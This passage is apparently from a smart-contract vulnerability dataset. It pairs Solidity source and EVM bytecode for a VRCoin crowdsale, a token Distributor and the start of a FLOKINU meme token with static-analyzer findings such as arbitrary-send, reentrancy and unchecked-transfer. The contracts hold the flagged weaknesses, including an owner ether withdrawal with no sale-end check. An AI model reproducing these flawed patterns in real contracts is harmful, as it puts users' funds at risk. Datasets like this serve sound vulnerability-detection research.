00190a16040516001600160a01b0385169082156108fc029083906000818181858888f19350505050158015612a1c573d6000803e3d6000fd5b50506110ef565b50505050565b6001600160a01b038316600090815260026020908152604080832060ff85168452600b01909152902054600160a81b90046001600160401b03165b6001600160a01b038416600090815260026020908152604080832060ff8087168552600b90910190925290912054600160a01b9004811660030a168111612a23576001600160a01b03808516600090815260026020818152604080842060ff808916808752600b92830185528387208054600160a01b81049093168852600190810186528488206001600160401b03600160a81b909404841689528652848820548c8a168952878752858920838a528501875285892080546001600160a01b03191691909a1690811790995588885286865284882091885292018452828620918652930190915290912054600391161015612bba57612b64848285612e20565b6001600160a01b038116600090815260026020818152604080842060ff88168552600b0182528084206001855290920190529020546001600160401b031660031415612bb457612bb485846130bf565b50612a23565b612bc485846130bf565b50600101612a64565b600080546001600160a01b0384811662010000909204161415612bf257506000611141565b6001600160a01b038316600090815260026020908152604080832060ff80871685526008909101835281842060018552909252909120541615612c3757506000611141565b6001600160a01b03831615612d61576001600160a01b038316600090815260026020818152604080842060ff87168552600b0182528084208385528301909152909120546001600160401b03161015612c9257506000611141565b60005b6001600160a01b038416600090815260026020818152604080842060ff88168552600b01825280842083855290920190529020546001600160401b039081169082161015612d57576001600160a01b03808516600090815260026020818152604080842060ff808a16808752600b909201845282862085875260010184528286206001600160401b038916875284528286205490961685529282528084209284526006909201905290205416612d4f576001915050611141565b600101612c95565b5060009050611141565b506000611141565b6001600160a01b038216600090815260026020908152604080832060ff8086168552600a90910190925282205416158015612dcf57506001600160a01b038316600090815260026020908152604080832060ff8087168552600790910190925290912054165b80156117cb5750506001600160a01b0391909116600090815260026020818152604080842060ff959095168452600b909401815283832060038452909101905220546001600160401b0316601b1490565b6001600080855b6001600160a01b03861615612811576001600160a01b038616600090815260026020818152604080842060ff8a81168652600b90910183528185209089168086529301909152909120805467ffffffffffffffff19811660016001600160401b039283168101909216179091551415612ee3576001600160a01b038616600090815260026020818152604080842060ff808b168652600b9091018352818520908916855290920190529020546001600160401b03169150612faa565b60015b6001600160a01b038716600090815260026020818152604080842060ff8b168552600b0182528084206001855290920190529020546001600160401b0390811690821611612f95576001600160a01b03808816600090815260026020908152604080832060ff8b168452600b01825280832060018085520182528083206001600160401b038616845290915290205489821691161415612f8d57806001600160401b031693505b600101612ee6565b506001830360018560ff160360030a02820191505b60038460ff1611613046576001600160a01b0381811660008181526002602090815260409182902054825163ffffffff9182168152600192810183905260ff808c16828601526001600160401b03891660608301528a16608082015260a0810192909252421660c08201529051928916927fd7bbfeafa71b0f204b8047b13043dea9a81b61209ce2fb00709646c9ec05336b9181900360e00190a35b6001600160a01b03868116600090815260026020908152604080832060ff8a8116808652600b909201808552838620918b168652600180830186528487206001600160401b038b168852865293862080546001600160a01b03191689891617905591909452909152905497985096169590930192612e27565b6001600160a01b038216600090815260026020908152604080832060ff8581168552600b909101909252909120805467ffffffffffffffff60a81b198116600160a81b918290046001600160401b03908116600101811683029190911792839055600160a01b8304841660030a909316910490911611156113c2576001600160a01b0391909116600090815260026020908152604080832060ff9485168452600b0190915290208054600160a81b60ff60a01b198216600160a01b9283900485166001019094169091029290921767ffffffffffffffff60a81b191691909117905556fe5573657220616c72656164792065786973747320696e2074686973206d6174726978436f6465a265627a7a7231582098567f928649b7d3643c6f8464b851c7480390d34f1e11ca40bc1550a8221f2f64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,212 |
0x30e63f9a7bd8188762eec058783860559ed922a3
|
pragma solidity ^0.4.16;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address owner) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
}
contract VRCoinCrowdsale {
// Information about a single period
struct Period
{
uint start;
uint end;
uint priceInWei;
uint tokenToDistibute;
}
// Some constant about our expected token distribution
uint public constant VRCOIN_DECIMALS = 9;
uint public constant TOTAL_TOKENS_TO_DISTRIBUTE = 750000 * (10 ** VRCOIN_DECIMALS); // 750000 VRtokenc
uint public exchangeRate = 853;
address public owner; // The owner of the crowdsale
bool public hasStarted; // Has the crowdsale started?
Period public sale; // The configured periods for this crowdsale
ERC20Interface public tokenWallet; // The token wallet contract used for this crowdsale
// The multiplier necessary to change a coin amount to the token amount
uint coinToTokenFactor = 10 ** VRCOIN_DECIMALS;
// Fired once the transfer tokens to contract was successfull
event Transfer(address to, uint amount);
// Fired once the sale starts
event Start(uint timestamp);
// Fired whenever a contribution is made
event Contribution(address indexed from, uint weiContributed, uint tokensReceived);
function VRCoinCrowdsale(address walletAddress)
{
// Setup the owner and wallet
owner = msg.sender;
tokenWallet = ERC20Interface(walletAddress);
// Make sure the provided token has the expected number of tokens to distribute
require(tokenWallet.totalSupply() >= TOTAL_TOKENS_TO_DISTRIBUTE);
// Make sure the owner actually controls all the tokens
require(tokenWallet.balanceOf(owner) >= TOTAL_TOKENS_TO_DISTRIBUTE);
// We haven't started yet
hasStarted = false;
sale.start = 1521234001; // 00:00:01, March 05, 2018 UTC
sale.end = 1525122001; // 00:00:01, Apl 30, 2018 UTC
sale.priceInWei = (1 ether) / (exchangeRate * coinToTokenFactor); // 1 ETH = 750 VRCoin
sale.tokenToDistibute = TOTAL_TOKENS_TO_DISTRIBUTE;
}
function updatePrice() {
// Only the owner can do this
require(msg.sender == owner);
// Update price
sale.priceInWei = (1 ether) / (exchangeRate * coinToTokenFactor);
}
function setExchangeRate(uint256 _rate) {
// Only the owner can do this
require(msg.sender == owner);
// The ether in $ dollar
exchangeRate = _rate;
}
// Start the crowdsale
function startSale()
{
// Only the owner can do this
require(msg.sender == owner);
// Cannot start if already started
require(hasStarted == false);
// Attempt to transfer all tokens to the crowdsale contract
// The owner needs to approve() the transfer of all tokens to this contract
if (!tokenWallet.transferFrom(owner, this, sale.tokenToDistibute))
{
// Something has gone wrong, the owner no longer controls all the tokens?
// We cannot proceed
revert();
}else{
Transfer(this, sale.tokenToDistibute);
}
// Sanity check: verify the crowdsale controls all tokens
require(tokenWallet.balanceOf(this) >= sale.tokenToDistibute);
// The sale can begin
hasStarted = true;
// Fire event that the sale has begun
Start(block.timestamp);
}
// Allow the current owner to change the owner of the crowdsale
function changeOwner(address newOwner) public
{
// Only the owner can do this
require(msg.sender == owner);
// Change the owner
owner = newOwner;
}
// Allow the owner to change the tokens for sale number
// But only if the sale has not begun yet
function changeTokenForSale(uint newAmount) public
{
// Only the owner can do this
require(msg.sender == owner);
// We can change period details as long as the sale hasn't started yet
require(hasStarted == false);
// Make sure the provided token has the expected number of tokens to distribute
require(tokenWallet.totalSupply() >= newAmount);
// Make sure the owner actually controls all the tokens
require(tokenWallet.balanceOf(owner) >= newAmount);
// Change the price for this period
sale.tokenToDistibute = newAmount;
}
// Allow the owner to change the start/end time for a period
// But only if the sale has not begun yet
function changePeriodTime(uint start, uint end) public
{
// Only the owner can do this
require(msg.sender == owner);
// We can change period details as long as the sale hasn't started yet
require(hasStarted == false);
// Make sure the input is valid
require(start < end);
// Everything checks out, update the period start/end time
sale.start = start;
sale.end = end;
}
// Allow the owner to withdraw all the tokens remaining after the
// crowdsale is over
function withdrawTokensRemaining() public
returns (bool)
{
// Only the owner can do this
require(msg.sender == owner);
// Get the ending timestamp of the crowdsale
uint crowdsaleEnd = sale.end;
// The crowsale must be over to perform this operation
require(block.timestamp > crowdsaleEnd);
// Get the remaining tokens owned by the crowdsale
uint tokensRemaining = getTokensRemaining();
// Transfer them all to the owner
return tokenWallet.transfer(owner, tokensRemaining);
}
// Allow the owner to withdraw all ether from the contract after the
// crowdsale is over
function withdrawEtherRemaining() public
returns (bool)
{
// Only the owner can do this
require(msg.sender == owner);
// Transfer them all to the owner
owner.transfer(this.balance);
return true;
}
// Check how many tokens are remaining for distribution
function getTokensRemaining() public constant
returns (uint256)
{
return tokenWallet.balanceOf(this);
}
// Calculate how many tokens can be distributed for the given contribution
function getTokensForContribution(uint weiContribution) public constant
returns(uint tokenAmount, uint weiRemainder)
{
// The bonus for contributor
uint256 bonus = 0;
// Get the ending timestamp of the crowdsale
uint crowdsaleEnd = sale.end;
// The crowsale must be going to perform this operation
require(block.timestamp <= crowdsaleEnd);
// Get the price for this current period
uint periodPriceInWei = sale.priceInWei;
// Return the amount of tokens that can be purchased
tokenAmount = weiContribution / periodPriceInWei;
if (block.timestamp < 1521234001) {
// bonus for contributor from 5.03.2018 to 16.03.2018
bonus = tokenAmount * 20 / 100;
} else if (block.timestamp < 1521925201) {
// bonus for contributor from 17.03.2018 to 24.03.2018
bonus = tokenAmount * 15 / 100;
} else {
// bonus for contributor
bonus = tokenAmount * 10 / 100;
}
tokenAmount = tokenAmount + bonus;
// Return the amount of wei that would be left over
weiRemainder = weiContribution % periodPriceInWei;
}
// Allow a user to contribute to the crowdsale
function contribute() public payable
{
// Cannot contribute if the sale hasn't started
require(hasStarted == true);
// Calculate the tokens to be distributed based on the contribution amount
var (tokenAmount, weiRemainder) = getTokensForContribution(msg.value);
// Need to contribute enough for at least 1 token
require(tokenAmount > 0);
// Sanity check: make sure the remainder is less or equal to what was sent to us
require(weiRemainder <= msg.value);
// Make sure there are enough tokens left to buy
uint tokensRemaining = getTokensRemaining();
require(tokensRemaining >= tokenAmount);
// Transfer the token amount from the crowd sale's token wallet to the
// sender's token wallet
if (!tokenWallet.transfer(msg.sender, tokenAmount))
{
// Unable to transfer funds, abort transaction
revert();
}
// Return the remainder to the sender
msg.sender.transfer(weiRemainder);
// Since we refunded the remainder, the actual contribution is the amount sent
// minus the remainder
uint actualContribution = msg.value - weiRemainder;
// Record the event
Contribution(msg.sender, actualContribution, tokenAmount);
}
function() payable
{
contribute();
}
}
|
0x606060405236156100fa576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633ba0b9a91461010657806344691f7e1461012f57806346ad58591461015c57806350f91ee3146101855780636359a974146101b257806363d7edb9146101db578063673a7e281461020457806369c5f36e146102195780636ad1fe02146102575780638c08ae0d146102955780638da5cb5b146102c2578063a6f9dae114610317578063b66a0e5d14610350578063bff99c6c14610365578063c60cae29146103ba578063d7bb99ba146103e6578063db068e0e146103f0578063f5c6cf0514610413575b5b610103610436565b5b005b341561011157600080fd5b610119610637565b6040518082815260200191505060405180910390f35b341561013a57600080fd5b61014261063d565b604051808215151515815260200191505060405180910390f35b341561016757600080fd5b61016f610650565b6040518082815260200191505060405180910390f35b341561019057600080fd5b610198610738565b604051808215151515815260200191505060405180910390f35b34156101bd57600080fd5b6101c56108cb565b6040518082815260200191505060405180910390f35b34156101e657600080fd5b6101ee6108d8565b6040518082815260200191505060405180910390f35b341561020f57600080fd5b6102176108dd565b005b341561022457600080fd5b61023a600480803590602001909190505061095e565b604051808381526020018281526020019250505060405180910390f35b341561026257600080fd5b61026a610a0b565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34156102a057600080fd5b6102a8610a29565b604051808215151515815260200191505060405180910390f35b34156102cd57600080fd5b6102d5610b08565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561032257600080fd5b61034e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b2e565b005b341561035b57600080fd5b610363610bcf565b005b341561037057600080fd5b610378610f53565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103c557600080fd5b6103e46004808035906020019091908035906020019091905050610f79565b005b6103ee610436565b005b34156103fb57600080fd5b610411600480803590602001909190505061101e565b005b341561041e57600080fd5b6104346004808035906020019091905050611085565b005b60008060008060011515600160149054906101000a900460ff16151514151561045e57600080fd5b6104673461095e565b9350935060008411151561047a57600080fd5b34831115151561048957600080fd5b610491610650565b91508382101515156104a257600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33866000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561056f57600080fd5b6102c65a03f1151561058057600080fd5b50505060405180519050151561059557600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015156105d557600080fd5b82340390503373ffffffffffffffffffffffffffffffffffffffff167f5f7675b09617d2c9fa4fd13058ee5877a9538f626b0308816736e83748a450408286604051808381526020018281526020019250505060405180910390a25b50505050565b60005481565b600160149054906101000a900460ff1681565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561071757600080fd5b6102c65a03f1151561072857600080fd5b5050506040518051905090505b90565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561079957600080fd5b600260010154915081421115156107af57600080fd5b6107b7610650565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156108a857600080fd5b6102c65a03f115156108b957600080fd5b5050506040518051905092505b505090565b6009600a0a620b71b00281565b600981565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093957600080fd5b60075460005402670de0b6b3a764000081151561095257fe5b0460028001819055505b565b6000806000806000809250600260010154915081421115151561098057600080fd5b60028001549050808681151561099257fe5b049450635aac30514210156109b8576064601486028115156109b057fe5b0492506109ef565b635ab6bc514210156109db576064600f86028115156109d357fe5b0492506109ee565b6064600a86028115156109ea57fe5b0492505b5b828501945080868115156109ff57fe5b0693505b505050915091565b60028060000154908060010154908060020154908060030154905084565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610b0057600080fd5b600190505b90565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8a57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2b57600080fd5b60001515600160149054906101000a900460ff161515141515610c4d57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306002600301546000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515610d7557600080fd5b6102c65a03f11515610d8657600080fd5b505050604051805190501515610d9b57600080fd5b7f69ca02dd4edd7bf0a4abb9ed3b7af3f14778db5d61921c7dc7cd545266326de230600260030154604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b600260030154600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610ed757600080fd5b6102c65a03f11515610ee857600080fd5b5050506040518051905010151515610eff57600080fd5b60018060146101000a81548160ff0219169083151502179055507ff06a29c94c6f4edc1085072972d9441f7603e81c8535a308f214285d0653c850426040518082815260200191505060405180910390a15b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fd557600080fd5b60001515600160149054906101000a900460ff161515141515610ff757600080fd5b808210151561100557600080fd5b81600260000181905550806002600101819055505b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107a57600080fd5b806000819055505b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110e157600080fd5b60001515600160149054906101000a900460ff16151514151561110357600080fd5b80600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561119257600080fd5b6102c65a03f115156111a357600080fd5b50505060405180519050101515156111ba57600080fd5b80600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156112a257600080fd5b6102c65a03f115156112b357600080fd5b50505060405180519050101515156112ca57600080fd5b806002600301819055505b505600a165627a7a72305820e2c48c82a74de88b503660918509d090543983fdefeae894d293370393f3afe10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,213 |
0x5bc47d40f69962d1a9db65ac88f4b83537af5dc2
|
/**
*Submitted for verification at Etherscan.io on 2021-02-01
*/
pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Distributor {
using SafeMath for uint256;
address constant public address0 = address(0x6Ec1f0e5d98cD11f6987F0e97A4fB5A966E268Ed);
address constant public address1 = address(0x68039Bcf3b10e75beC7485889050807E60F72C79);
constructor() public {
}
function transfer(address token) public {
uint256 bal = IERC20(token).balanceOf(address(this));
uint256 bal0 = bal.div(4);
uint256 bal1 = bal.sub(bal0);
IERC20(token).transfer(address0, bal0);
IERC20(token).transfer(address1, bal1);
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c80631a695230146100465780633a36399e1461006e578063ffecd95e14610092575b600080fd5b61006c6004803603602081101561005c57600080fd5b50356001600160a01b031661009a565b005b610076610260565b604080516001600160a01b039092168252519081900360200190f35b610076610278565b6000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156100e957600080fd5b505afa1580156100fd573d6000803e3d6000fd5b505050506040513d602081101561011357600080fd5b505190506000610124826004610290565b9050600061013283836102d9565b9050836001600160a01b031663a9059cbb736ec1f0e5d98cd11f6987f0e97a4fb5a966e268ed846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561019f57600080fd5b505af11580156101b3573d6000803e3d6000fd5b505050506040513d60208110156101c957600080fd5b50506040805163a9059cbb60e01b81527368039bcf3b10e75bec7485889050807e60f72c7960048201526024810183905290516001600160a01b0386169163a9059cbb9160448083019260209291908290030181600087803b15801561022e57600080fd5b505af1158015610242573d6000803e3d6000fd5b505050506040513d602081101561025857600080fd5b505050505050565b7368039bcf3b10e75bec7485889050807e60f72c7981565b736ec1f0e5d98cd11f6987f0e97a4fb5a966e268ed81565b60006102d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061031b565b9392505050565b60006102d283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506103bd565b600081836103a75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561036c578181015183820152602001610354565b50505050905090810190601f1680156103995780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816103b357fe5b0495945050505050565b6000818484111561040f5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561036c578181015183820152602001610354565b50505090039056fea2646970667358221220b605c023153256f2d272f9898eda754777fd3a9a2ad84e3afd69c6a1fa70703d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,214 |
0x8cDF48D8106e6aDceE0d138C03124190faf4fCd4
|
/*
Straight out of Kattegat, raised between sheeps, wooden houses covered in bear fur & self made viking ships,
Flokinu has decided to show himself on the Uniswap meme token scene. Absolutely usesless as the token is,
he prays to Odin that the ape/degen's community shows themselves once more to prove this could be a possible mooner!
Telegram: t.me/officialflokinu
SPDX-License-Identifier: M̧͖̪̬͚͕̘̻̙̫͎̉̾͑̽͌̓̏̅͌̕͘ĩ̢͎̥̦̼͖̾̀͒̚͠n̺̼̳̩̝̐͒̑̄̕͢͞è̫̦̬͙̌͗͡ş̣̞̤̲̳̭̫̬̦͗́͂̅̉̒̍͑̑̒̈́̏͟͜™͍͙͆̒̏ͅ®̳̻̋̿©͕̅
*/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function approve(address to, uint value) external returns (bool);
}
contract FLOKINU is Context, IERC20, Ownable {
string private constant _name = unicode"Flokinu💨";
string private constant _symbol = "FLOKINU";
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping(address => uint256)) private _allowances;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
